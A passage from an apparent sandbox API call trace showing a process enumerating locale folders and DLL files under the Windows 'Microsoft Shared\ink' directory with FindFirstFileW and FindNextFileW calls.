cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.094] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.094] GetProcessHeap () returned 0x550000 [0072.094] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.094] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0072.095] GetProcessHeap () returned 0x550000 [0072.095] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.096] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.096] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.096] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.096] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.096] GetProcessHeap () returned 0x550000 [0072.096] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.096] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0072.097] GetProcessHeap () returned 0x550000 [0072.097] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.097] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.098] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.098] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.098] GetProcessHeap () returned 0x550000 [0072.098] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.098] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0072.099] GetProcessHeap () returned 0x550000 [0072.099] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.099] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.412] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.412] GetProcessHeap () returned 0x550000 [0072.412] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0072.413] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0072.413] GetProcessHeap () returned 0x550000 [0072.413] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.414] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.415] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.415] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.415] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.415] GetProcessHeap () returned 0x550000 [0072.415] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.415] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll", cAlternateFileName="")) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d7038f2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x3d7038f2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa125f634, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa125f634, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1285794, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x130600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1213373, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1213373, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12394d3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7ae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0072.416] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3dda83b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3dda83b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3dda83b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0072.417] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0072.417] GetProcessHeap () returned 0x550000 [0072.417] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.417] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.418] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.418] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.418] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.418] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.419] GetProcessHeap () returned 0x550000 [0072.419] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.420] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0072.420] GetProcessHeap () returned 0x550000 [0072.420] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.420] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.421] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.421] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.421] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.422] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.422] GetProcessHeap () returned 0x550000 [0072.422] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0072.422] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0072.422] GetProcessHeap () returned 0x550000 [0072.422] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0072.422] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.467] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, 